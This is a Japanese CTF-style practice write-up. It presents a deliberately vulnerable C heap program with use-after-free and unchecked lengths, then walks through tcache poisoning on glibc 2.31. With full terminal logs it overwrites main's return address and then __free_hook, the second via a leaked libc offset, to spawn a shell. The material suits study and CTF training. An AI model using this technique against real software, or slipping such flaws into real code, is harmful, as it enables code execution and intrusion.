free()した場所への書き込みで、malloc()の結果を操作する

# はじめに

CTFでよくあるような、
「ヒープを操作するプログラムにうまい入力を与えて仕様外の欲しい動作をさせるやつ」
の対策がしたかったので、自分でそれっぽいプログラムを書いて試してみた。
今回のプログラムの実行は、[CS50 IDE](https://ide.cs50.io/)上で行った。

悪用厳禁！！

# プログラム

* シェルを起動する`win()`関数を用意し、アドレスを開示する
* ポインタの配列のアドレスも開示する
* 配列の要素を指定して、領域の確保・読み・書き・開放ができる
* 配列の添字は範囲チェックを行い、直接範囲外を読み書きすることはできない
* 読み書き時に長さのチェックは行わない (バッファオーバーフロー可能)
* 開放してもポインタをクリアせず、開放したかのチェックも行わない (use-after-free可能)

```heap-ctf-test.c
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>

#define DATA_MAX 10

void win(void) {
	puts("win!");
	fflush(stdout);
	system("/bin/sh");
	exit(0);
}

int main(void) {
	intptr_t* data[DATA_MAX] = {0};
	int i;
	int choice;
	printf("win = %p\n", (void*)(uintptr_t)win);
	printf("data = %p\n", (void*)data);
	for (;;) {
		for (i = 0; i < 10; i++) {
			printf("data[%d] = %p\n", i, (void*)data[i]);
		}
		puts("1: allocate / 2: read / 3. write / 4: free / 5: exit");
		fflush(stdout);
		if (scanf("%d", &choice) != 1) return 1;
		switch (choice) {
			case 1: /* allocate */
				{
					int element, size;
					printf("which(0-%d)?\n", DATA_MAX - 1);
					fflush(stdout);
					if (scanf("%d", &element) != 1) return 1;
					if (element < 0 || DATA_MAX <= element) {
						puts("invalid!");
						break;
					}
					puts("how many?");
					fflush(stdout);
					if (scanf("%d", &size) != 1) return 1;
					if (size <= 0) {
						puts("invalid!");
						break;
					}
					data[element] = malloc(sizeof(*data[element]) * size);
				}
				break;
			case 2: /* read */
				{
					int element, size;
					printf("which(0-%d)?\n", DATA_MAX - 1);
					fflush(stdout);
					if (scanf("%d", &element) != 1) return 1;
					if (element < 0 || DATA_MAX <= element) {
						puts("invalid!");
						break;
					}
					puts("how many?");
					fflush(stdout);
					if (scanf("%d", &size) != 1) return 1;
					if (size < 0) {
						puts("invalid!");
						break;
					}
					for (i = 0; i < size; i++) {
						printf("0x%" PRIxPTR "%c", data[element][i], i + 1 < size ? ' ': '\n');
					}
				}
				break;
			case 3: /* write */
				{
					int element, size;
					printf("which(0-%d)?\n", DATA_MAX - 1);
					fflush(stdout);
					if (scanf("%d", &element) != 1) return 1;
					if (element < 0 || DATA_MAX <= element) {
						puts("invalid!");
						break;
					}
					puts("how many?");
					fflush(stdout);
					if (scanf("%d", &size) != 1) return 1;
					if (size < 0) {
						puts("invalid!");
						break;
					}
					puts("data?");
					fflush(stdout);
					for (i = 0; i < size; i++) {
						if (scanf("%" SCNiPTR "i", &data[element][i]) != 1) return 1;
					}
				}
				break;
			case 4: /* free */
				{
					int element;
					printf("which(0-%d)?\n", DATA_MAX - 1);
					fflush(stdout);
					if (scanf("%d", &element) != 1) return 1;
					if (element < 0 || DATA_MAX <= element) {
						puts("invalid!");
						break;
					}
					free(data[element]);
				}
				break;
			case 5: /* exit */
				return 0;
		}
	}
	return 0;
}
```

# 挙動を観察してみる

まずは適当に安全な入力を試し、結果を観察してみた。
すると、同じ大きさの領域を一旦開放してまた確保すると、開放した逆順にアドレスが再使用されるようだった。

さらに、開放した領域のデータを見てみると、
2番目に開放した領域に最初に開放した領域のアドレスが書き込まれるようであった。

<details><summary>実行結果例</summary><div>

```
~/ $ ./heap-ctf-test 
win = 0x4011b0
data = 0x7fffa1d34e10
data[0] = (nil)
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
0
how many?
4
data[0] = 0xd326b0
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
1
how many?
4
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
0
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
1
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
2
which(0-9)?
0
how many?
4
0x0 0xd32010 0x0 0x0
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
2
which(0-9)?
1
how many?
4
0xd326b0 0xd32010 0x0 0x0
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
2
how many?
4
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = 0xd326e0
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
3
how many?
4
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = 0xd326e0
data[3] = 0xd326b0
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
2
which(0-9)?
2
how many?
4
0xd326b0 0x0 0x0 0x0
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = 0xd326e0
data[3] = 0xd326b0
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
2
which(0-9)?
3
how many?
4
0x0 0x0 0x0 0x0
data[0] = 0xd326b0
data[1] = 0xd326e0
data[2] = 0xd326e0
data[3] = 0xd326b0
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
5
~/ $ 
```

</div></details>

# win()関数を呼ぶ (リターンアドレス書き換え)

前述の観察では、2番目に開放した領域に最初に開放した領域のアドレスが書き込まれた。
さらに、このアドレスを書き換えてみると、次の次に確保する領域のアドレスをが書き換えたアドレスになった。
この性質を利用すると、任意のアドレス(書き込める場所などの制限はありそう)を`malloc()`に返させることができそうだ。
すなわち、今回のような`malloc()`で確保した領域に任意のデータを書き込むことができるプログラムの場合、
任意のアドレスに任意のデータを書き込むことができるということになる。

今回のプログラムは、ご丁寧に`win()`関数のアドレスと、`data`配列のアドレスを教えてくれる。
さらに、`main()`関数の逆アセンブル結果の冒頭を見ると、

```
0000000000401200 <main>:
  401200:	55                   	push   %rbp
  401201:	48 89 e5             	mov    %rsp,%rbp
  401204:	48 81 ec f0 00 00 00 	sub    $0xf0,%rsp
  40120b:	48 b8 b0 11 40 00 00 	movabs $0x4011b0,%rax
  401212:	00 00 00 
  401215:	31 f6                	xor    %esi,%esi
  401217:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp)
  40121e:	48 8d 4d a0          	lea    -0x60(%rbp),%rcx
  401222:	48 89 cf             	mov    %rcx,%rdi
  401225:	ba 50 00 00 00       	mov    $0x50,%edx
  40122a:	48 89 85 70 ff ff ff 	mov    %rax,-0x90(%rbp)
  401231:	e8 3a fe ff ff       	callq  401070 <memset@plt>
```

となっており、`data`配列の先頭からリターンアドレスまでは0x68バイトであることが読み取れます。
(`%rbp`からのオフセットが0x60バイト、前の`%rbp`を保存している分さらに0x08バイト)

そこで、まず`data`配列のアドレスに0x68を足した値を2番目に開放した領域の先頭に書き込む。
次に、`malloc()`にそのアドレスを返させ、書き込めるようにする。
そして、そこに`win()`関数のアドレスを書き込むことで、リターンアドレスを`win()`関数のアドレスにする。
最後に、`5`を入力してループを抜け、`main()`関数から返る。

…と、`win!`が出力され、制御が`win()`関数に移っていることはわかるが、
その後Segmentation Faultになってしまい、シェルが起動できない。

これは、本来関数はリターンアドレスをスタックに積む`call`命令を用いて呼ぶはずであるのに、
`call`命令を使わずに関数を呼び出している状態になっているため、
リターンアドレスの分スタックポインタの位置がずれ、
「関数はスタックポインタを16バイトアラインメントしてから呼ぶ」という条件を満たさない状態になっているためである。

そこで、`win()`関数の先頭ではなく、`win()`関数の先頭の`push`命令を飛ばす位置に制御を移させることで、
スタックポインタの位置をさらにずらし、条件を満たす状態に補正する。
`win()`関数の冒頭は以下のようになっているため、`win()`関数のアドレスに1を足したアドレスを書き込めばよい。

```
00000000004011b0 <win>:
  4011b0:	55                   	push   %rbp
  4011b1:	48 89 e5             	mov    %rsp,%rbp
  4011b4:	48 83 ec 10          	sub    $0x10,%rsp
  4011b8:	48 bf 30 20 40 00 00 	movabs $0x402030,%rdi
  4011bf:	00 00 00 
  4011c2:	e8 79 fe ff ff       	callq  401040 <puts@plt>
```

実際に書き込むことで、無事`win()`関数経由でシェルを呼び出すことができた。

<details><summary>実行結果例</summary><div>

```
~/ $ ./heap-ctf-test 
win = 0x4011b0
data = 0x7fff85496340
data[0] = (nil)
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
0
how many?
4
data[0] = 0x5b86b0
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
1
how many?
4
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
0
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
1
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
1
how many?
1
data?
0x7fff854963a8
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
2
how many?
4
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = 0x5b86e0
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
3
how many?
4
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = 0x5b86e0
data[3] = 0x7fff854963a8
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
3
how many?
1
data?
0x4011b1
data[0] = 0x5b86b0
data[1] = 0x5b86e0
data[2] = 0x5b86e0
data[3] = 0x7fff854963a8
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
5
win!
$ ls
dump.txt  heap-ctf-test  heap-ctf-test.c  lost+found
$ exit
~/ $ 
```

</div></details>

# win()関数を呼ぶ (__free_hook)

どうやら、`__free_hook`と呼ばれる場所があり、
そこにアドレスを書き込むことで`free()`を呼んだ時に呼ぶ関数を指定できるようである。

## __free_hookの場所をGDBで調べる

CTFでは使えないが、CS50 IDEで実行している場合、
GDBを用いて実行中のプロセスにアタッチすることで、この`__free_hook`の場所を調べることができる。
アタッチは

```
attach (対象プロセスのPID)
```

というコマンドで、アタッチ後`__free_hook`の場所を調べるのは

```
p &__free_hook
```

というコマンドでできる。

調べた`__free_hook`の場所に`win()`関数のアドレスを書き込むことで、
`free()`を呼んだ時に`win()`関数を呼ばせることができた。

<details><summary>実行結果例</summary><div>

`__free_hook`のアドレスを調べる

```
~/ $ ps x | grep ctf
 1064 pts/5    S+     0:00 ./heap-ctf-test
 1066 pts/6    S+     0:00 grep --color ctf
~/ $ gdb
(gdb) attach 1064
Attaching to process 1064
Reading symbols from /home/ubuntu/heap-ctf-test...
Reading symbols from /lib/x86_64-linux-gnu/libcrypt.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libcrypt.so.1)
Reading symbols from /lib/libcs50.so.10...
(No debugging symbols found in /lib/libcs50.so.10)
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...
Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.31.so...
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
(No debugging symbols found in /lib64/ld-linux-x86-64.so.2)
0x00007fb06a30d142 in __GI___libc_read (fd=0, buf=0x13322a0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7fb06a3eab28 <__free_hook>
(gdb) q
A debugging session is active.

        Inferior 1 [process 1064] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/ubuntu/heap-ctf-test, process 1064
[Inferior 1 (process 1064) detached]
~/ $ 
```

その結果を用いて`win()`関数を呼ぶ

```
~/ $ ./heap-ctf-test 
win = 0x4011b0
data = 0x7fff60a83ad0
data[0] = (nil)
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
0
how many?
4
data[0] = 0x13326b0
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
1
how many?
4
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
0
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
1
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
1
how many?
1
data?
0x7fb06a3eab28
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
2
how many?
4
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = 0x13326e0
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
3
how many?
4
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = 0x13326e0
data[3] = 0x7fb06a3eab28
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
3
how many?
1
data?
0x4011b0
data[0] = 0x13326b0
data[1] = 0x13326e0
data[2] = 0x13326e0
data[3] = 0x7fb06a3eab28
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
2
win!
$ ls
dump.txt  heap-ctf-test  heap-ctf-test.c  lost+found
$ exit
~/ $ 
```

</div></details>


## __free_hookの場所を入出力だけで求める？

エントリポイントのまわりの逆アセンブル結果を見てみる。

```
00000000004010c0 <_start>:
  4010c0:	f3 0f 1e fa          	endbr64 
  4010c4:	31 ed                	xor    %ebp,%ebp
  4010c6:	49 89 d1             	mov    %rdx,%r9
  4010c9:	5e                   	pop    %rsi
  4010ca:	48 89 e2             	mov    %rsp,%rdx
  4010cd:	48 83 e4 f0          	and    $0xfffffffffffffff0,%rsp
  4010d1:	50                   	push   %rax
  4010d2:	54                   	push   %rsp
  4010d3:	49 c7 c0 50 18 40 00 	mov    $0x401850,%r8
  4010da:	48 c7 c1 e0 17 40 00 	mov    $0x4017e0,%rcx
  4010e1:	48 c7 c7 00 12 40 00 	mov    $0x401200,%rdi
  4010e8:	ff 15 02 2f 00 00    	callq  *0x2f02(%rip)        # 403ff0 <__libc_start_main@GLIBC_2.2.5>
  4010ee:	f4                   	hlt    
  4010ef:	90                   	nop
```

すると、`main()`関数を直接呼ぶのではなく、libcの関数を呼び出している。
ということは、`main()`関数はlibcから呼び出されていると考えられる。
また、`__free_hook`もlibcから参照されていると考えられる。
となると、`__free_hook`の位置と`main()`関数の呼び出し元の位置には関係があるかもしれない。
そこで、GDBを用いて、`__free_hook`の場所と`main()`関数のリターンアドレスを確認してみる。

<details><summary>GDBの実行結果例</summary><div>

```
~/ $ ps x | grep ctf
 1155 pts/5    S+     0:00 ./heap-ctf-test
 1167 pts/6    S+     0:00 grep --color ctf
~/ $ gdb
(gdb) attach 1155
Attaching to process 1155
Reading symbols from /home/ubuntu/heap-ctf-test...
Reading symbols from /lib/x86_64-linux-gnu/libcrypt.so.1...
(No debugging symbols found in /lib/x86_64-linux-gnu/libcrypt.so.1)
Reading symbols from /lib/libcs50.so.10...
(No debugging symbols found in /lib/libcs50.so.10)
Reading symbols from /lib/x86_64-linux-gnu/libm.so.6...
Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libm-2.31.so...
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
(No debugging symbols found in /lib64/ld-linux-x86-64.so.2)
0x00007fd5deb5d142 in __GI___libc_read (fd=0, buf=0x9082a0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) where
#0  0x00007fd5deb5d142 in __GI___libc_read (fd=0, buf=0x9082a0, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
#1  0x00007fd5deadfd1f in _IO_new_file_underflow (fp=0x7fd5dec37980 <_IO_2_1_stdin_>) at libioP.h:948
#2  0x00007fd5deae1106 in __GI__IO_default_uflow (fp=0x7fd5dec37980 <_IO_2_1_stdin_>) at libioP.h:948
#3  0x00007fd5deab3400 in __vfscanf_internal (s=<optimized out>, format=<optimized out>, argptr=argptr@entry=0x7ffdcbf706f0, mode_flags=mode_flags@entry=2) at vfscanf-internal.c:508
#4  0x00007fd5deab22e2 in __isoc99_scanf (format=<optimized out>) at isoc99_scanf.c:30
#5  0x00000000004012e8 in main () at heap-ctf-test.c:26
(gdb) frame 5
#5  0x00000000004012e8 in main () at heap-ctf-test.c:26
26                      if (scanf("%d", &choice) != 1) return 1;
(gdb) p &data
$1 = (intptr_t *(*)[10]) 0x7ffdcbf70860
(gdb) x/gx (char*)&data + 0x68
0x7ffdcbf708c8: 0x00007fd5dea730b3
(gdb) p &__free_hook
$2 = (void (**)(void *, const void *)) 0x7fd5dec3ab28 <__free_hook>
(gdb) q
A debugging session is active.

        Inferior 1 [process 1155] will be detached.

Quit anyway? (y or n) y
Detaching from program: /home/ubuntu/heap-ctf-test, process 1155
[Inferior 1 (process 1155) detached]
~/ $ 
```

</div></details>

他にも何度か実行してみると、各アドレスは以下のようになった。

|__free_hook|リターンアドレス|__free_hook - リターンアドレス|
|---|---|---|
|0x7fd5dec3ab28|0x00007fd5dea730b3|0x1c7a75|
|0x7f68e0309b28|0x00007f68e01420b3|0x1c7a75|
|0x7fa31380fb28|0x00007fa3136480b3|0x1c7a75|
|0x7fd20466db28|0x00007fd2044a60b3|0x1c7a75|
|0x7f1387310b28|0x00007f13871490b3|0x1c7a75|

どうやら、今回の実験においては、リターンアドレスと`__free_hook`の差が一定になっていそうである。
ということは、まず`main()`関数のリターンアドレスを読み取ることで、
GDBを使わなくても、そこから`__free_hook`のアドレスを求めることができるかもしれない。

実際に実験してみると、確かにGDBを使わずに`__free_hook`のアドレスを求め、
それを用いて`free()`の呼び出し時に`win()`を呼び出させることができた。
これは、以下の手順で行った。

1. リターンアドレスを配列に入れる
  1. 2回確保を行う
  2. 2回開放を行う
  3. 2回目に開放した領域の場所に、リターンアドレスの位置(`配列dataのアドレス + 0x68`)を書き込む
  4. 2回確保を行う
2. リターンアドレスを読み取る
3. `__free_hook`のアドレスを配列に入れる
  1. 2回確保を行う
  2. 2回開放を行う
  3. 2回目に開放した領域の場所に、`__free_hook`のアドレス(`リターンアドレス + 0x1c7a75`)を書き込む
  4. 2回確保を行う
4. `__free_hook`に`win()`関数のアドレスを書き込む
5. 確保した領域の開放を行う

<details><summary>実行結果例</summary><div>

```
~/ $ ./heap-ctf-test 
win = 0x4011b0
data = 0x7fffcd6e37c0
data[0] = (nil)
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
0
how many?
4
data[0] = 0x235c6b0
data[1] = (nil)
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
1
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
0
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
1
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
1
how many?
1
data?
0x7fffcd6e3828
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = (nil)
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
2
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = (nil)
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
3
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
2
which(0-9)?
3
how many?
1
0x7fd170c7c0b3
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = (nil)
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
4
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = (nil)
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
5
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
5
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
5
how many?
1
data?
0x7fd170e43b28
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = (nil)
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
6
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = 0x235c740
data[7] = (nil)
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
1
which(0-9)?
7
how many?
4
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = 0x235c740
data[7] = 0x7fd170e43b28
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
3
which(0-9)?
7
how many?
1
data?
0x4011b0
data[0] = 0x235c6b0
data[1] = 0x235c6e0
data[2] = 0x235c6e0
data[3] = 0x7fffcd6e3828
data[4] = 0x235c710
data[5] = 0x235c740
data[6] = 0x235c740
data[7] = 0x7fd170e43b28
data[8] = (nil)
data[9] = (nil)
1: allocate / 2: read / 3. write / 4: free / 5: exit
4
which(0-9)?
6
win!
$ ls
dump.txt  heap-ctf-test  heap-ctf-test.c  lost+found
$ exit
~/ $ 
```

</div></details>

# まとめ

以下の手順により、`malloc()`に任意？のアドレスを返させることができる場合がある。

1. 同じ大きさの領域を2回確保する
2. その領域を2個とも開放する
3. 2回目に開放した領域の先頭に、返させたいアドレスを書き込む
4. 最初と同じ大きさの領域を2回確保する → 2回目で書き込んだアドレスが返る

# 注意点

* 今回紹介した結果は、あくまで今回の実験の結果です。環境によっては異なる結果になる可能性が考えられます。
* `free()`で領域を開放すると開放した領域のlifetimeが終わり、その領域の読み書きは未定義動作となります。  
  未定義動作を起こすと、鼻から悪魔が出てくるかもしれません。  
  紹介した内容の利用は自己責任でお願いします。
* 悪用厳禁！！